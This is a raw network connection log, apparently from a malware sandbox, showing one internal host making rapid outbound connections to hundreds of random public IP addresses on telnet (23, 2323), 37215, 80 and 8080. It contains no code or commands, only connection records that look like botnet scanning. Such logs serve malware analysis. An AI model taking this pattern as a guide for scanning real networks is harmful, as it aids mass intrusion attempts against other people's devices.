Dec 26, 2023 21:22:49.112576962 CET	36253	23	192.168.2.23	36.132.117.22
Dec 26, 2023 21:22:49.112638950 CET	36253	23	192.168.2.23	165.109.12.233
Dec 26, 2023 21:22:49.112642050 CET	36253	23	192.168.2.23	183.78.137.6
Dec 26, 2023 21:22:49.115542889 CET	45981	37215	192.168.2.23	157.37.222.187
Dec 26, 2023 21:22:49.115545034 CET	45981	37215	192.168.2.23	157.18.108.12
Dec 26, 2023 21:22:49.115556002 CET	45981	37215	192.168.2.23	157.106.138.228
Dec 26, 2023 21:22:49.115564108 CET	45981	37215	192.168.2.23	157.201.5.238
Dec 26, 2023 21:22:49.115565062 CET	45981	37215	192.168.2.23	157.10.216.180
Dec 26, 2023 21:22:49.115567923 CET	45981	37215	192.168.2.23	157.41.229.240
Dec 26, 2023 21:22:49.115565062 CET	45981	37215	192.168.2.23	157.176.243.113
Dec 26, 2023 21:22:49.115577936 CET	45981	37215	192.168.2.23	157.87.172.36
Dec 26, 2023 21:22:49.115581036 CET	45981	37215	192.168.2.23	157.215.144.231
Dec 26, 2023 21:22:49.115581036 CET	45981	37215	192.168.2.23	157.113.51.79
Dec 26, 2023 21:22:49.115586996 CET	45981	37215	192.168.2.23	157.109.253.131
Dec 26, 2023 21:22:49.115607977 CET	45981	37215	192.168.2.23	157.203.86.176
Dec 26, 2023 21:22:49.115607977 CET	45981	37215	192.168.2.23	157.95.53.159
Dec 26, 2023 21:22:49.115607977 CET	45981	37215	192.168.2.23	157.232.52.41
Dec 26, 2023 21:22:49.115613937 CET	45981	37215	192.168.2.23	157.226.48.226
Dec 26, 2023 21:22:49.115616083 CET	45981	37215	192.168.2.23	157.145.168.112
Dec 26, 2023 21:22:49.115617037 CET	45981	37215	192.168.2.23	157.196.46.22
Dec 26, 2023 21:22:49.115621090 CET	45981	37215	192.168.2.23	157.81.239.150
Dec 26, 2023 21:22:49.115621090 CET	45981	37215	192.168.2.23	157.36.109.220
Dec 26, 2023 21:22:49.115633965 CET	45981	37215	192.168.2.23	157.215.104.7
Dec 26, 2023 21:22:49.115633965 CET	45981	37215	192.168.2.23	157.77.47.119
Dec 26, 2023 21:22:49.115641117 CET	45981	37215	192.168.2.23	157.3.252.83
Dec 26, 2023 21:22:49.115649939 CET	45981	37215	192.168.2.23	157.92.169.219
Dec 26, 2023 21:22:49.115654945 CET	45981	37215	192.168.2.23	157.209.111.141
Dec 26, 2023 21:22:49.115658998 CET	45981	37215	192.168.2.23	157.161.154.143
Dec 26, 2023 21:22:49.115665913 CET	45981	37215	192.168.2.23	157.38.169.21
Dec 26, 2023 21:22:49.115672112 CET	45981	37215	192.168.2.23	157.158.110.182
Dec 26, 2023 21:22:49.115679026 CET	45981	37215	192.168.2.23	157.94.11.139
Dec 26, 2023 21:22:49.115679026 CET	45981	37215	192.168.2.23	157.241.226.133
Dec 26, 2023 21:22:49.115683079 CET	45981	37215	192.168.2.23	157.16.169.179
Dec 26, 2023 21:22:49.115684986 CET	45981	37215	192.168.2.23	157.60.156.102
Dec 26, 2023 21:22:49.115684986 CET	45981	37215	192.168.2.23	157.132.240.66
Dec 26, 2023 21:22:49.115696907 CET	45981	37215	192.168.2.23	157.211.235.222
Dec 26, 2023 21:22:49.115696907 CET	45981	37215	192.168.2.23	157.227.248.100
Dec 26, 2023 21:22:49.115710974 CET	45981	37215	192.168.2.23	157.31.1.71
Dec 26, 2023 21:22:49.115714073 CET	45981	37215	192.168.2.23	157.22.139.76
Dec 26, 2023 21:22:49.115716934 CET	45981	37215	192.168.2.23	157.68.10.243
Dec 26, 2023 21:22:49.115721941 CET	45981	37215	192.168.2.23	157.74.206.74
Dec 26, 2023 21:22:49.115721941 CET	45981	37215	192.168.2.23	157.79.54.126
Dec 26, 2023 21:22:49.115736008 CET	45981	37215	192.168.2.23	157.246.122.85
Dec 26, 2023 21:22:49.115736008 CET	45981	37215	192.168.2.23	157.122.114.67
Dec 26, 2023 21:22:49.115736008 CET	45981	37215	192.168.2.23	157.152.26.36
Dec 26, 2023 21:22:49.115736961 CET	45981	37215	192.168.2.23	157.43.163.33
Dec 26, 2023 21:22:49.115737915 CET	45981	37215	192.168.2.23	157.134.8.245
Dec 26, 2023 21:22:49.115756035 CET	45981	37215	192.168.2.23	157.194.192.211
Dec 26, 2023 21:22:49.115756035 CET	45981	37215	192.168.2.23	157.244.185.253
Dec 26, 2023 21:22:49.115756989 CET	45981	37215	192.168.2.23	157.102.96.102
Dec 26, 2023 21:22:49.115756989 CET	45981	37215	192.168.2.23	157.170.54.105
Dec 26, 2023 21:22:49.115762949 CET	45981	37215	192.168.2.23	157.111.80.44
Dec 26, 2023 21:22:49.115762949 CET	45981	37215	192.168.2.23	157.192.174.188
Dec 26, 2023 21:22:49.115766048 CET	45981	37215	192.168.2.23	157.156.60.44
Dec 26, 2023 21:22:49.115766048 CET	45981	37215	192.168.2.23	157.34.198.182
Dec 26, 2023 21:22:49.115783930 CET	45981	37215	192.168.2.23	157.222.110.97
Dec 26, 2023 21:22:49.115783930 CET	45981	37215	192.168.2.23	157.3.241.234
Dec 26, 2023 21:22:49.115787029 CET	45981	37215	192.168.2.23	157.136.54.42
Dec 26, 2023 21:22:49.115786076 CET	45981	37215	192.168.2.23	157.13.214.64
Dec 26, 2023 21:22:49.115797997 CET	45981	37215	192.168.2.23	157.98.173.255
Dec 26, 2023 21:22:49.115797997 CET	45981	37215	192.168.2.23	157.239.184.22
Dec 26, 2023 21:22:49.115797997 CET	45981	37215	192.168.2.23	157.91.79.180
Dec 26, 2023 21:22:49.115801096 CET	45981	37215	192.168.2.23	157.0.192.117
Dec 26, 2023 21:22:49.115809917 CET	45981	37215	192.168.2.23	157.98.113.209
Dec 26, 2023 21:22:49.115819931 CET	45981	37215	192.168.2.23	157.235.213.99
Dec 26, 2023 21:22:49.115834951 CET	45981	37215	192.168.2.23	157.150.159.237
Dec 26, 2023 21:22:49.115835905 CET	45981	37215	192.168.2.23	157.138.87.125
Dec 26, 2023 21:22:49.115834951 CET	45981	37215	192.168.2.23	157.175.192.89
Dec 26, 2023 21:22:49.115835905 CET	45981	37215	192.168.2.23	157.106.31.88
Dec 26, 2023 21:22:49.115839005 CET	45981	37215	192.168.2.23	157.88.91.154
Dec 26, 2023 21:22:49.115854025 CET	45981	37215	192.168.2.23	157.248.17.21
Dec 26, 2023 21:22:49.115854025 CET	45981	37215	192.168.2.23	157.80.202.101
Dec 26, 2023 21:22:49.115854979 CET	45981	37215	192.168.2.23	157.67.14.144
Dec 26, 2023 21:22:49.115854979 CET	45981	37215	192.168.2.23	157.200.234.38
Dec 26, 2023 21:22:49.115855932 CET	45981	37215	192.168.2.23	157.110.111.207
Dec 26, 2023 21:22:49.115855932 CET	45981	37215	192.168.2.23	157.232.222.234
Dec 26, 2023 21:22:49.115875006 CET	45981	37215	192.168.2.23	157.249.171.114
Dec 26, 2023 21:22:49.115875959 CET	45981	37215	192.168.2.23	157.237.247.253
Dec 26, 2023 21:22:49.115876913 CET	45981	37215	192.168.2.23	157.103.28.242
Dec 26, 2023 21:22:49.115890026 CET	45981	37215	192.168.2.23	157.60.227.73
Dec 26, 2023 21:22:49.115890980 CET	45981	37215	192.168.2.23	157.76.176.121
Dec 26, 2023 21:22:49.115891933 CET	45981	37215	192.168.2.23	157.126.233.16
Dec 26, 2023 21:22:49.115891933 CET	45981	37215	192.168.2.23	157.0.69.42
Dec 26, 2023 21:22:49.115891933 CET	45981	37215	192.168.2.23	157.248.7.7
Dec 26, 2023 21:22:49.115892887 CET	45981	37215	192.168.2.23	157.168.98.188
Dec 26, 2023 21:22:49.115895033 CET	45981	37215	192.168.2.23	157.44.84.70
Dec 26, 2023 21:22:49.115900040 CET	45981	37215	192.168.2.23	157.84.6.105
Dec 26, 2023 21:22:49.115900993 CET	45981	37215	192.168.2.23	157.73.255.135
Dec 26, 2023 21:22:49.115915060 CET	45981	37215	192.168.2.23	157.102.192.75
Dec 26, 2023 21:22:49.115916014 CET	45981	37215	192.168.2.23	157.148.7.238
Dec 26, 2023 21:22:49.115916014 CET	45981	37215	192.168.2.23	157.242.114.150
Dec 26, 2023 21:22:49.115916014 CET	45981	37215	192.168.2.23	157.178.104.194
Dec 26, 2023 21:22:49.115919113 CET	45981	37215	192.168.2.23	157.86.179.68
Dec 26, 2023 21:22:49.115931988 CET	45981	37215	192.168.2.23	157.104.116.195
Dec 26, 2023 21:22:49.115933895 CET	45981	37215	192.168.2.23	157.156.237.200
Dec 26, 2023 21:22:49.115936041 CET	45981	37215	192.168.2.23	157.143.127.46
Dec 26, 2023 21:22:49.115937948 CET	45981	37215	192.168.2.23	157.1.37.250
Dec 26, 2023 21:22:49.115937948 CET	45981	37215	192.168.2.23	157.251.245.191
Dec 26, 2023 21:22:49.115945101 CET	45981	37215	192.168.2.23	157.93.211.166
Dec 26, 2023 21:22:49.115953922 CET	45981	37215	192.168.2.23	157.203.63.82
Dec 26, 2023 21:22:49.115961075 CET	45981	37215	192.168.2.23	157.3.140.178
Dec 26, 2023 21:22:49.115962029 CET	45981	37215	192.168.2.23	157.63.101.83
Dec 26, 2023 21:22:49.115962029 CET	45981	37215	192.168.2.23	157.6.14.160
Dec 26, 2023 21:22:49.115968943 CET	45981	37215	192.168.2.23	157.91.171.77
Dec 26, 2023 21:22:49.115971088 CET	45981	37215	192.168.2.23	157.6.245.232
Dec 26, 2023 21:22:49.115971088 CET	45981	37215	192.168.2.23	157.107.217.248
Dec 26, 2023 21:22:49.115976095 CET	45981	37215	192.168.2.23	157.127.149.107
Dec 26, 2023 21:22:49.115982056 CET	45981	37215	192.168.2.23	157.63.198.158
Dec 26, 2023 21:22:49.115987062 CET	45981	37215	192.168.2.23	157.87.120.226
Dec 26, 2023 21:22:49.115991116 CET	45981	37215	192.168.2.23	157.174.248.27
Dec 26, 2023 21:22:49.115991116 CET	45981	37215	192.168.2.23	157.214.237.183
Dec 26, 2023 21:22:49.115998983 CET	45981	37215	192.168.2.23	157.28.208.151
Dec 26, 2023 21:22:49.116002083 CET	45981	37215	192.168.2.23	157.204.147.247
Dec 26, 2023 21:22:49.116007090 CET	45981	37215	192.168.2.23	157.88.56.86
Dec 26, 2023 21:22:49.116007090 CET	45981	37215	192.168.2.23	157.10.99.189
Dec 26, 2023 21:22:49.116007090 CET	45981	37215	192.168.2.23	157.35.165.94
Dec 26, 2023 21:22:49.116014004 CET	45981	37215	192.168.2.23	157.249.246.133
Dec 26, 2023 21:22:49.116014004 CET	45981	37215	192.168.2.23	157.43.39.122
Dec 26, 2023 21:22:49.116017103 CET	45981	37215	192.168.2.23	157.115.13.106
Dec 26, 2023 21:22:49.116029024 CET	45981	37215	192.168.2.23	157.201.66.229
Dec 26, 2023 21:22:49.116029024 CET	45981	37215	192.168.2.23	157.181.61.168
Dec 26, 2023 21:22:49.116034031 CET	45981	37215	192.168.2.23	157.193.39.44
Dec 26, 2023 21:22:49.116035938 CET	45981	37215	192.168.2.23	157.123.138.169
Dec 26, 2023 21:22:49.116035938 CET	45981	37215	192.168.2.23	157.239.109.92
Dec 26, 2023 21:22:49.116058111 CET	45981	37215	192.168.2.23	157.183.66.14
Dec 26, 2023 21:22:49.116061926 CET	45981	37215	192.168.2.23	157.152.42.157
Dec 26, 2023 21:22:49.116061926 CET	45981	37215	192.168.2.23	157.213.208.155
Dec 26, 2023 21:22:49.116063118 CET	45981	37215	192.168.2.23	157.88.43.39
Dec 26, 2023 21:22:49.116063118 CET	45981	37215	192.168.2.23	157.252.139.159
Dec 26, 2023 21:22:49.116063118 CET	45981	37215	192.168.2.23	157.96.182.126
Dec 26, 2023 21:22:49.116063118 CET	45981	37215	192.168.2.23	157.40.247.20
Dec 26, 2023 21:22:49.116081953 CET	45981	37215	192.168.2.23	157.24.123.144
Dec 26, 2023 21:22:49.116082907 CET	45981	37215	192.168.2.23	157.146.186.46
Dec 26, 2023 21:22:49.116085052 CET	45981	37215	192.168.2.23	157.128.182.241
Dec 26, 2023 21:22:49.116090059 CET	45981	37215	192.168.2.23	157.175.85.122
Dec 26, 2023 21:22:49.116092920 CET	45981	37215	192.168.2.23	157.210.249.159
Dec 26, 2023 21:22:49.116092920 CET	45981	37215	192.168.2.23	157.75.17.201
Dec 26, 2023 21:22:49.116107941 CET	45981	37215	192.168.2.23	157.131.13.36
Dec 26, 2023 21:22:49.116108894 CET	45981	37215	192.168.2.23	157.249.202.24
Dec 26, 2023 21:22:49.116111040 CET	45981	37215	192.168.2.23	157.0.53.223
Dec 26, 2023 21:22:49.116116047 CET	45981	37215	192.168.2.23	157.40.170.110
Dec 26, 2023 21:22:49.116117954 CET	45981	37215	192.168.2.23	157.146.118.161
Dec 26, 2023 21:22:49.116118908 CET	45981	37215	192.168.2.23	157.167.227.223
Dec 26, 2023 21:22:49.116122007 CET	45981	37215	192.168.2.23	157.94.122.101
Dec 26, 2023 21:22:49.116122007 CET	45981	37215	192.168.2.23	157.25.76.247
Dec 26, 2023 21:22:49.116132021 CET	45981	37215	192.168.2.23	157.48.134.251
Dec 26, 2023 21:22:49.116132021 CET	45981	37215	192.168.2.23	157.22.229.38
Dec 26, 2023 21:22:49.116132021 CET	45981	37215	192.168.2.23	157.87.13.195
Dec 26, 2023 21:22:49.116147041 CET	45981	37215	192.168.2.23	157.133.113.173
Dec 26, 2023 21:22:49.116147995 CET	45981	37215	192.168.2.23	157.226.145.90
Dec 26, 2023 21:22:49.116147995 CET	45981	37215	192.168.2.23	157.39.157.196
Dec 26, 2023 21:22:49.116147995 CET	45981	37215	192.168.2.23	157.237.83.99
Dec 26, 2023 21:22:49.116151094 CET	45981	37215	192.168.2.23	157.75.177.40
Dec 26, 2023 21:22:49.116151094 CET	45981	37215	192.168.2.23	157.198.59.71
Dec 26, 2023 21:22:49.116158009 CET	45981	37215	192.168.2.23	157.104.127.65
Dec 26, 2023 21:22:49.116158962 CET	45981	37215	192.168.2.23	157.169.1.96
Dec 26, 2023 21:22:49.116162062 CET	45981	37215	192.168.2.23	157.210.37.61
Dec 26, 2023 21:22:49.116175890 CET	45981	37215	192.168.2.23	157.146.152.173
Dec 26, 2023 21:22:49.116177082 CET	45981	37215	192.168.2.23	157.69.196.183
Dec 26, 2023 21:22:49.116178989 CET	45981	37215	192.168.2.23	157.9.195.1
Dec 26, 2023 21:22:49.116180897 CET	45981	37215	192.168.2.23	157.128.239.121
Dec 26, 2023 21:22:49.116264105 CET	45981	37215	192.168.2.23	157.178.100.126
Dec 26, 2023 21:22:49.116283894 CET	45981	37215	192.168.2.23	157.122.223.197
Dec 26, 2023 21:22:49.121745110 CET	36056	80	192.168.2.23	95.177.167.219
Dec 26, 2023 21:22:49.121752024 CET	60630	80	192.168.2.23	95.101.71.194
Dec 26, 2023 21:22:49.121752977 CET	37220	80	192.168.2.23	95.173.184.218
Dec 26, 2023 21:22:49.121776104 CET	54232	80	192.168.2.23	88.97.102.139
Dec 26, 2023 21:22:49.138617992 CET	80	60266	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:49.138673067 CET	60266	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:49.313936949 CET	8080	45834	31.188.184.56	192.168.2.23
Dec 26, 2023 21:22:49.353997946 CET	80	45725	88.218.17.138	192.168.2.23
Dec 26, 2023 21:22:49.354062080 CET	45725	80	192.168.2.23	88.218.17.138
Dec 26, 2023 21:22:49.441437960 CET	23	36253	114.46.188.162	192.168.2.23
Dec 26, 2023 21:22:49.502257109 CET	2323	36253	42.118.44.165	192.168.2.23
Dec 26, 2023 21:22:49.537727118 CET	45844	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:49.608475924 CET	8080	57496	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:49.611742973 CET	57496	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:49.788021088 CET	8080	45844	31.188.184.56	192.168.2.23
Dec 26, 2023 21:22:49.788077116 CET	45844	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:49.788110971 CET	45844	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:49.788110971 CET	45469	8080	192.168.2.23	95.238.235.252
Dec 26, 2023 21:22:49.788111925 CET	45469	8080	192.168.2.23	31.21.151.217
Dec 26, 2023 21:22:49.788115978 CET	45469	8080	192.168.2.23	31.192.229.233
Dec 26, 2023 21:22:49.788115978 CET	45469	8080	192.168.2.23	31.71.166.74
Dec 26, 2023 21:22:49.788117886 CET	45469	8080	192.168.2.23	62.249.154.0
Dec 26, 2023 21:22:49.788119078 CET	45469	8080	192.168.2.23	62.235.152.63
Dec 26, 2023 21:22:49.788127899 CET	45469	8080	192.168.2.23	94.247.174.240
Dec 26, 2023 21:22:49.788131952 CET	45469	8080	192.168.2.23	95.184.163.157
Dec 26, 2023 21:22:49.788132906 CET	45469	8080	192.168.2.23	85.81.132.239
Dec 26, 2023 21:22:49.788141012 CET	45469	8080	192.168.2.23	95.13.207.170
Dec 26, 2023 21:22:49.788144112 CET	45469	8080	192.168.2.23	85.137.17.71
Dec 26, 2023 21:22:49.788144112 CET	45469	8080	192.168.2.23	62.112.131.114
Dec 26, 2023 21:22:49.788147926 CET	45469	8080	192.168.2.23	85.7.64.12
Dec 26, 2023 21:22:49.788147926 CET	45469	8080	192.168.2.23	94.205.79.143
Dec 26, 2023 21:22:49.788147926 CET	45469	8080	192.168.2.23	62.183.63.200
Dec 26, 2023 21:22:49.788144112 CET	45469	8080	192.168.2.23	95.220.39.109
Dec 26, 2023 21:22:49.788150072 CET	45469	8080	192.168.2.23	62.193.168.34
Dec 26, 2023 21:22:49.788161039 CET	45469	8080	192.168.2.23	85.76.241.134
Dec 26, 2023 21:22:49.788163900 CET	45469	8080	192.168.2.23	62.22.200.149
Dec 26, 2023 21:22:49.788167953 CET	45469	8080	192.168.2.23	31.196.12.167
Dec 26, 2023 21:22:49.788167953 CET	45469	8080	192.168.2.23	95.52.232.62
Dec 26, 2023 21:22:49.788168907 CET	45469	8080	192.168.2.23	94.129.108.60
Dec 26, 2023 21:22:49.788168907 CET	45469	8080	192.168.2.23	95.185.245.7
Dec 26, 2023 21:22:49.788168907 CET	45469	8080	192.168.2.23	95.223.186.40
Dec 26, 2023 21:22:49.788175106 CET	45469	8080	192.168.2.23	94.160.48.197
Dec 26, 2023 21:22:49.788175106 CET	45469	8080	192.168.2.23	62.185.175.104
Dec 26, 2023 21:22:49.788182974 CET	45469	8080	192.168.2.23	95.251.129.237
Dec 26, 2023 21:22:49.788182974 CET	45469	8080	192.168.2.23	94.116.219.106
Dec 26, 2023 21:22:49.788186073 CET	45469	8080	192.168.2.23	62.130.101.106
Dec 26, 2023 21:22:49.788188934 CET	45469	8080	192.168.2.23	85.133.220.153
Dec 26, 2023 21:22:49.788188934 CET	45469	8080	192.168.2.23	95.253.171.167
Dec 26, 2023 21:22:49.788194895 CET	45469	8080	192.168.2.23	85.239.160.32
Dec 26, 2023 21:22:49.788206100 CET	45469	8080	192.168.2.23	62.82.19.188
Dec 26, 2023 21:22:49.788207054 CET	45469	8080	192.168.2.23	95.172.53.73
Dec 26, 2023 21:22:49.788208008 CET	45469	8080	192.168.2.23	95.51.251.99
Dec 26, 2023 21:22:49.788208008 CET	45469	8080	192.168.2.23	95.79.93.95
Dec 26, 2023 21:22:49.788218975 CET	45469	8080	192.168.2.23	62.211.109.127
Dec 26, 2023 21:22:49.788218975 CET	45469	8080	192.168.2.23	94.200.241.237
Dec 26, 2023 21:22:49.788219929 CET	45469	8080	192.168.2.23	62.36.250.43
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	85.147.84.135
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	85.26.97.235
Dec 26, 2023 21:22:49.788219929 CET	45469	8080	192.168.2.23	85.212.195.38
Dec 26, 2023 21:22:49.788223028 CET	45469	8080	192.168.2.23	85.195.117.109
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	95.194.118.194
Dec 26, 2023 21:22:49.788219929 CET	45469	8080	192.168.2.23	94.154.87.136
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	62.231.196.147
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	94.90.17.68
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	95.11.205.243
Dec 26, 2023 21:22:49.788220882 CET	45469	8080	192.168.2.23	85.128.142.174
Dec 26, 2023 21:22:49.788234949 CET	45469	8080	192.168.2.23	95.92.178.83
Dec 26, 2023 21:22:49.788237095 CET	45469	8080	192.168.2.23	31.96.232.156
Dec 26, 2023 21:22:49.788237095 CET	45469	8080	192.168.2.23	95.195.213.10
Dec 26, 2023 21:22:49.788237095 CET	45469	8080	192.168.2.23	95.46.9.81
Dec 26, 2023 21:22:49.788247108 CET	45469	8080	192.168.2.23	62.202.140.84
Dec 26, 2023 21:22:49.788248062 CET	45469	8080	192.168.2.23	62.147.135.36
Dec 26, 2023 21:22:49.788254976 CET	45469	8080	192.168.2.23	94.87.38.54
Dec 26, 2023 21:22:49.788254976 CET	45469	8080	192.168.2.23	31.60.107.4
Dec 26, 2023 21:22:49.788255930 CET	45469	8080	192.168.2.23	95.131.160.174
Dec 26, 2023 21:22:49.788255930 CET	45469	8080	192.168.2.23	94.229.16.72
Dec 26, 2023 21:22:49.788259983 CET	45469	8080	192.168.2.23	31.204.154.50
Dec 26, 2023 21:22:49.788260937 CET	45469	8080	192.168.2.23	62.112.232.87
Dec 26, 2023 21:22:49.788263083 CET	45469	8080	192.168.2.23	62.149.174.75
Dec 26, 2023 21:22:49.788270950 CET	45469	8080	192.168.2.23	95.66.115.149
Dec 26, 2023 21:22:49.788276911 CET	45469	8080	192.168.2.23	62.32.240.122
Dec 26, 2023 21:22:49.788276911 CET	45469	8080	192.168.2.23	94.152.223.114
Dec 26, 2023 21:22:49.788284063 CET	45469	8080	192.168.2.23	85.125.66.47
Dec 26, 2023 21:22:49.788284063 CET	45469	8080	192.168.2.23	31.246.32.60
Dec 26, 2023 21:22:49.788285017 CET	45469	8080	192.168.2.23	62.120.25.19
Dec 26, 2023 21:22:49.788285017 CET	45469	8080	192.168.2.23	95.2.28.205
Dec 26, 2023 21:22:49.788290977 CET	45469	8080	192.168.2.23	94.110.171.104
Dec 26, 2023 21:22:49.788290977 CET	45469	8080	192.168.2.23	95.195.234.5
Dec 26, 2023 21:22:49.788290977 CET	45469	8080	192.168.2.23	85.59.205.39
Dec 26, 2023 21:22:49.788290977 CET	45469	8080	192.168.2.23	62.251.254.208
Dec 26, 2023 21:22:49.788292885 CET	45469	8080	192.168.2.23	31.225.78.245
Dec 26, 2023 21:22:49.788290977 CET	45469	8080	192.168.2.23	94.162.247.198
Dec 26, 2023 21:22:49.788295031 CET	45469	8080	192.168.2.23	94.164.201.79
Dec 26, 2023 21:22:49.788295984 CET	45469	8080	192.168.2.23	94.135.48.164
Dec 26, 2023 21:22:49.788306952 CET	45469	8080	192.168.2.23	62.190.248.115
Dec 26, 2023 21:22:49.788307905 CET	45469	8080	192.168.2.23	85.106.217.15
Dec 26, 2023 21:22:49.788306952 CET	45469	8080	192.168.2.23	85.38.93.35
Dec 26, 2023 21:22:49.788307905 CET	45469	8080	192.168.2.23	62.124.132.97
Dec 26, 2023 21:22:49.788321972 CET	45469	8080	192.168.2.23	31.237.156.189
Dec 26, 2023 21:22:49.788325071 CET	45469	8080	192.168.2.23	95.204.225.145
Dec 26, 2023 21:22:49.788325071 CET	45469	8080	192.168.2.23	94.174.245.118
Dec 26, 2023 21:22:49.788328886 CET	45469	8080	192.168.2.23	85.171.61.12
Dec 26, 2023 21:22:49.788330078 CET	45469	8080	192.168.2.23	94.88.6.169
Dec 26, 2023 21:22:49.788332939 CET	45469	8080	192.168.2.23	95.114.56.125
Dec 26, 2023 21:22:49.788336039 CET	45469	8080	192.168.2.23	62.180.34.117
Dec 26, 2023 21:22:49.788336039 CET	45469	8080	192.168.2.23	62.39.180.27
Dec 26, 2023 21:22:49.788336039 CET	45469	8080	192.168.2.23	62.198.92.27
Dec 26, 2023 21:22:49.788340092 CET	45469	8080	192.168.2.23	85.233.167.78
Dec 26, 2023 21:22:49.788340092 CET	45469	8080	192.168.2.23	85.93.224.234
Dec 26, 2023 21:22:49.788340092 CET	45469	8080	192.168.2.23	62.7.72.61
Dec 26, 2023 21:22:49.788340092 CET	45469	8080	192.168.2.23	62.9.92.57
Dec 26, 2023 21:22:49.788341045 CET	45469	8080	192.168.2.23	95.201.194.243
Dec 26, 2023 21:22:49.788345098 CET	45469	8080	192.168.2.23	94.158.177.115
Dec 26, 2023 21:22:49.788356066 CET	45469	8080	192.168.2.23	62.177.15.203
Dec 26, 2023 21:22:49.788363934 CET	45469	8080	192.168.2.23	85.199.228.60
Dec 26, 2023 21:22:49.788364887 CET	45469	8080	192.168.2.23	62.13.3.170
Dec 26, 2023 21:22:49.788364887 CET	45469	8080	192.168.2.23	85.47.211.76
Dec 26, 2023 21:22:49.788364887 CET	45469	8080	192.168.2.23	85.98.61.41
Dec 26, 2023 21:22:49.788364887 CET	45469	8080	192.168.2.23	31.154.43.52
Dec 26, 2023 21:22:49.788369894 CET	45469	8080	192.168.2.23	31.233.249.33
Dec 26, 2023 21:22:49.788373947 CET	45469	8080	192.168.2.23	31.141.201.147
Dec 26, 2023 21:22:49.788373947 CET	45469	8080	192.168.2.23	85.139.161.144
Dec 26, 2023 21:22:49.788373947 CET	45469	8080	192.168.2.23	85.77.41.171
Dec 26, 2023 21:22:49.788373947 CET	45469	8080	192.168.2.23	62.62.195.129
Dec 26, 2023 21:22:49.788383007 CET	45469	8080	192.168.2.23	85.170.167.29
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	31.86.133.162
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	62.212.201.22
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	95.166.100.134
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	95.6.255.126
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	62.119.88.64
Dec 26, 2023 21:22:49.788389921 CET	45469	8080	192.168.2.23	95.172.54.139
Dec 26, 2023 21:22:49.788397074 CET	45469	8080	192.168.2.23	95.106.114.148
Dec 26, 2023 21:22:49.788397074 CET	45469	8080	192.168.2.23	85.100.197.137
Dec 26, 2023 21:22:49.788398981 CET	45469	8080	192.168.2.23	31.174.243.255
Dec 26, 2023 21:22:49.788410902 CET	45469	8080	192.168.2.23	94.8.234.2
Dec 26, 2023 21:22:49.788413048 CET	45469	8080	192.168.2.23	85.245.146.169
Dec 26, 2023 21:22:49.788414955 CET	45469	8080	192.168.2.23	94.239.15.94
Dec 26, 2023 21:22:49.788417101 CET	45469	8080	192.168.2.23	62.249.199.127
Dec 26, 2023 21:22:49.788417101 CET	45469	8080	192.168.2.23	95.171.83.63
Dec 26, 2023 21:22:49.788417101 CET	45469	8080	192.168.2.23	94.5.19.124
Dec 26, 2023 21:22:49.788422108 CET	45469	8080	192.168.2.23	85.149.28.154
Dec 26, 2023 21:22:49.788422108 CET	45469	8080	192.168.2.23	62.14.76.133
Dec 26, 2023 21:22:49.788429976 CET	45469	8080	192.168.2.23	85.216.106.181
Dec 26, 2023 21:22:49.788444996 CET	45469	8080	192.168.2.23	62.45.90.253
Dec 26, 2023 21:22:49.788445950 CET	45469	8080	192.168.2.23	62.179.74.242
Dec 26, 2023 21:22:49.788445950 CET	45469	8080	192.168.2.23	31.23.199.192
Dec 26, 2023 21:22:49.788445950 CET	45469	8080	192.168.2.23	62.38.10.21
Dec 26, 2023 21:22:49.788455009 CET	45469	8080	192.168.2.23	94.65.52.236
Dec 26, 2023 21:22:49.788455009 CET	45469	8080	192.168.2.23	62.10.161.131
Dec 26, 2023 21:22:49.788456917 CET	45469	8080	192.168.2.23	95.245.127.171
Dec 26, 2023 21:22:49.788456917 CET	45469	8080	192.168.2.23	94.114.113.196
Dec 26, 2023 21:22:49.788458109 CET	45469	8080	192.168.2.23	31.233.6.78
Dec 26, 2023 21:22:49.788458109 CET	45469	8080	192.168.2.23	31.220.230.246
Dec 26, 2023 21:22:49.788460016 CET	45469	8080	192.168.2.23	62.232.230.71
Dec 26, 2023 21:22:49.788463116 CET	45469	8080	192.168.2.23	85.252.174.7
Dec 26, 2023 21:22:49.788466930 CET	45469	8080	192.168.2.23	62.31.219.188
Dec 26, 2023 21:22:49.788467884 CET	45469	8080	192.168.2.23	62.39.112.133
Dec 26, 2023 21:22:49.788467884 CET	45469	8080	192.168.2.23	94.198.246.233
Dec 26, 2023 21:22:49.788467884 CET	45469	8080	192.168.2.23	94.68.87.16
Dec 26, 2023 21:22:49.788467884 CET	45469	8080	192.168.2.23	31.245.56.144
Dec 26, 2023 21:22:49.788470030 CET	45469	8080	192.168.2.23	85.188.61.140
Dec 26, 2023 21:22:49.788467884 CET	45469	8080	192.168.2.23	62.248.204.58
Dec 26, 2023 21:22:49.788475990 CET	45469	8080	192.168.2.23	94.209.194.96
Dec 26, 2023 21:22:49.788477898 CET	45469	8080	192.168.2.23	62.176.90.77
Dec 26, 2023 21:22:49.788479090 CET	45469	8080	192.168.2.23	62.187.44.80
Dec 26, 2023 21:22:49.788482904 CET	45469	8080	192.168.2.23	62.65.0.85
Dec 26, 2023 21:22:49.788482904 CET	45469	8080	192.168.2.23	85.57.183.20
Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	31.130.31.134
Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	85.155.254.24
Dec 26, 2023 21:22:49.788486004 CET	45469	8080	192.168.2.23	62.178.63.219
